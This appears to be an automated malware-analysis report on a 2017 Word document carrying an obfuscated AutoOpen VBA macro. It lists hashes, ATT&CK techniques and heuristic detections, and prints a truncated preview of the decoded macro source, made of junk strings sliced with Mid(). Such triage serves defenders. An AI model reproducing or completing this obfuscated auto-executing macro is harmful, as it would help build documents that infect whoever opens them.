Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83782f1e859c1915…

MALICIOUS

Office (OLE)

88.0 KB Created: 2017-10-18 14:15:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: e7e2646d44d5123c607eeed2b617d252 SHA-1: 2c197a683c0b47683cb78b4df6331a634ad69026 SHA-256: 83782f1e859c19154a28589bfae52dc5d77c5ae676b2252d4498258cc094c017
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary code. This is further supported by ClamAV detection and heuristic firings related to obfuscation and auto-execution. The macro's obfuscated nature and the presence of a 'macros.bas' file suggest it is designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19222 bytes
SHA-256: 04e64a7f1121d54a7e44992163a4f77fc0626f08d37057f7c9adea19ad5e8da9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 52 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function SqdbYbdjh()
nwZhMVd = "ASX7CXW3XEBR0ztCGMUmBJDdnOcJNotATKDJzDqjVkQ177EONFQ924QQJF7"
aGNMhiGKUc = Mid(nwZhMVd, 14, 29)
rdYbOYvndG = aGNMhiGKUc
hAfvmOL = "JG5WMFB3GHnrbGBzHwhBActlndFzMfhmsLjXDRZlTGWLQJtKIdbzZPJW78M39AFZUQY30U"
sacaDlB = Mid(hAfvmOL, 11, 42)
QaUYUsPS = sacaDlB
foHCoL = "1S1YRYT93VBinSpTTBflilEBihdFUzJdliJkAGWDSJAiWHdXMiNLWCTOsWSkUjOwUYsIJFSMfbSVlWfWEGtqmwGjLuriolijuBNwPUNGLAfujwdVrvfOqYLVRIzPNoYttjajIhHksnflTLAMRWmsGTtWqsjGWwsXblBAXtNKnvWCtZCFIlwrBfnZqEtQABNtuHJhKzoXIcFLwqdQT9"
TInOz = Mid(foHCoL, 11, 198)
qkvpkMqqJzu = TInOz
BNjFJWXWp = "YLH5RPRJlAmVmSjcuShGzjBaHGoYEXHQwaSEOIzKGWTRzFMhjsflzjznNmjiRsENtVXMAcNlSWAbNjdCtGrLrVTOairccRtNRGYbhAhEitTajYZdIdoLBtVYCIlVllJBdnJHLBUsZnjzCsfBFNTwciMYkAYZOLSskRwvPSRGIvlNMYWJckQXSKYvbkXLdvdNVnNkvjmmwMphwwLMiPwivvaZtBUivN6AHA9L3IOT3DUJ"
iXGMZw = Mid(BNjFJWXWp, 7, 215)
ItlBAiAJ = iXGMZw
StAHDArDzw = "NRD048KOhNwzRZNnruPHrpicPYGmBsBDjRUTEBCsFjZPOSGSLXuTdqllXsbaVmJoMuTAFtiprWCHQSNzSoaWWY2X"
hbfBi = Mid(StAHDArDzw, 9, 75)
vDkKJNbnU = hbfBi
jRRLibo = "AUKZ3DCP6LDGPY9MzSquUslWzSHUttkjoXEMItdhsRpQzLUNkQcFOopYbCHPTRbVKaADlUDEpICDCUYmztjcRfVAifkGmNNbqTGWLQcPMYPFmmWHdURahzEfFAVGE4UVVZYHNZMJ4BU"
dwuvqqz = Mid(jRRLibo, 16, 109)
Bvirarqppd = dwuvqqz
qHBVvGbNzjs = "346Q6tWtMznPDpEXUYKjOPdvHQQMzWowjCDVnRQPhkaOptKzpdzmtalnMkNUdJtqLqjAmijDHuBdpPGOFRXWWCCIRPJCEwmXrjDwNJMGtwiwZHwwiwOLmWTIoYiWZjwLIimFLHAwERdaYEjKRMYFialUPuKpbqjIZ1NKWPZWQ"
abWBRVHJWT = Mid(qHBVvGbNzjs, 6, 154)
PTJOCNiwj = abWBRVHJWT
dwAQKpGi = "X5ARZTW8LJXHS3TGEFB9X5BAZAU6WUUYrOMmtwaQwOZZdiwaACXSzUwCSSbsjHBnAKGMJmowkOUWFMDYZaGjFJaWSJUaUihoMmZTbjQNNahjAZzFPCTJARirjkuzS27XVQ"
uMajrWzDWb = Mid(dwAQKpGi, 32, 94)
pmmPTL = uMajrWzDWb
fwTbOJuJBi = "WTE5Q4W86L5SESaiIJtwwKOUoFnjzCKKEVKiMpSUatcTdMWRvdrmmFBvRfYWiJCqFirjIwSSrYWChvqciVoVLYXwTONjRvqQqmNuUnJzLYvOjzOVovoJVjfhKtQtilAviGMvhvIvMpKncJPUAssWHhuJGjkbXPQaXzjcnSnsntwjWrEBdvtqsioBLCoBLjXwZkPddmhhEziNkOnPbizbWZhsLfRkimjHVAGmcb74T"
qJkzzfMJIL = Mid(fwTbOJuJBi, 13, 218)
naisQfHttl = qJkzzfMJIL
VsPBIkAQOBb = "OLGE9I5U1A8A0P139EAZ5dwbtjwcqsmWIYsUJSifnNmiOZNRszRsPQwMUoXHNijlCbrJjBPGVMpHqSNUShjqbuGrcjzUuWRFjBbmhEkrjKWCapVBbCpjwpJIVzhABuMzukapramOwsGRXERmKztrhlGqrSRiXjppwXHpOjKBQajGislQhupDBURJdjwYIErMCRTzzbXiKA7"
zhtWl = Mid(VsPBIkAQOBb, 22, 179)
iFQZRDs = zhtWl
zIRIIWWBMDG = "RVY62R088S61MY4VD4AAX3A95ANoVzwqpEOKcskaiqzvuBzWNwBNGwPNZZZBXoAvvwNIQXzShUCVjGcYYNaZwljqpBkCTiDqpDzworFqwiflwtdTzAdJObzJOWSPnvzwQLffGjkjHjaPGzuvXQFSFucOGphRYpDDjjUkOwNQQwBiBhDQcXsWqhtWjRZQwSHSjXjZdJhZDoBIszMYmQpBzjNCnwAwYwSwpjziP2992X4S"
OTUDknTon = Mid(zIRIIWWBMDG, 28, 201)
UiKMOwJ = OTUDknTon
daUIbnmz = "BA53P0KLZ2TR41H55kzRbubMiOBbhRTPtPQOvJdcRwntrPbRKvVfPGnKLZntbtkJNjLPomZwGUAfHhVTmkQlvnAmbFDWWkBXLdjHELdYWZZuGIDdEUGrdzOZjYojjDaWTcTdANObGrPVOFjTCZRBiJtMPGYjXupTwCbioadqFikmksLdsUjKlYsJiHNupiEMBvWLiCfbvbwzZHcWvuoCNfhaKRvjMiBWaXkOK"
IarvGcZILfU = Mid(daUIbnmz, 18, 210)
rUJGozEHzl = IarvGcZILfU
makLf = "BGdNRYsZKlNswdbGUrwcZLDSXA1NFZ5Z0PO12HSSLCQWHVMOO71FJMD"
YjsdEQBlG = Mid(makLf, 2, 21)
rUOMHivi = YjsdEQBlG
rJkSQIkj = "WVV3PQMMAODZWLI365QLQ6LSACFZEErHDOTRipuzPswBzPXiwqZvhuGiUdkupiDiulIUDmnjrUqiOPKdndhlavZIIkwAFzJhpOGOGDaJDpENEcUETGHLARHzLAMTpnirKJpAJwWkDYilrLEjQrhwrzhXGHCGqHTQKMDumTvWjXIbjWHzvjCwGfANcStCtQtwRVHVQ9"
iRwFpRYIHJl = Mid(rJkSQIkj, 31, 162)
tPwUpYsodAf = iRwFpRYIHJl
NMhIiIZbwt = "D1J7CCiwiaqjjwMacXSakDUzGNSoEcGniUEiiIhLfqiUcUWzWPOzkhjPtwLbIptFTCBOrhvUqGutZzWmqVRpNHCwnpljwFDpzYAZSHFpTuJdnmqtbZkmYEsMzFaCvPXkCFwBzwTiPcVSwZJAzrEWVRRsfoaMhDtDXZbhqpufFBWviaOavZDDLAPlnDVKWHBMjRvYwbKJzYQTuWKFazRHzpsWJpunTjJwAJLRfpcUPtGnjwqRtQkWpuNuZYPIhXqNPSSlKsakXwrGiEmNzdtDzmIFwQrGaTnsCsYRdFGAqz2V95HL"
wbkrvShmsb = Mid(NMhIiIZbwt, 7, 292)
wCpmOtUiuu = wbkrvShmsb
bZMozL = "8YRMRPUCRTPNHHC2IE57OVJJMMA1W4zEOuJzTbmcwOzVmnzDhSnZVZPqBNLsJzqNGVEwTdEAqElORwkpijMLEXipiSvGP
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.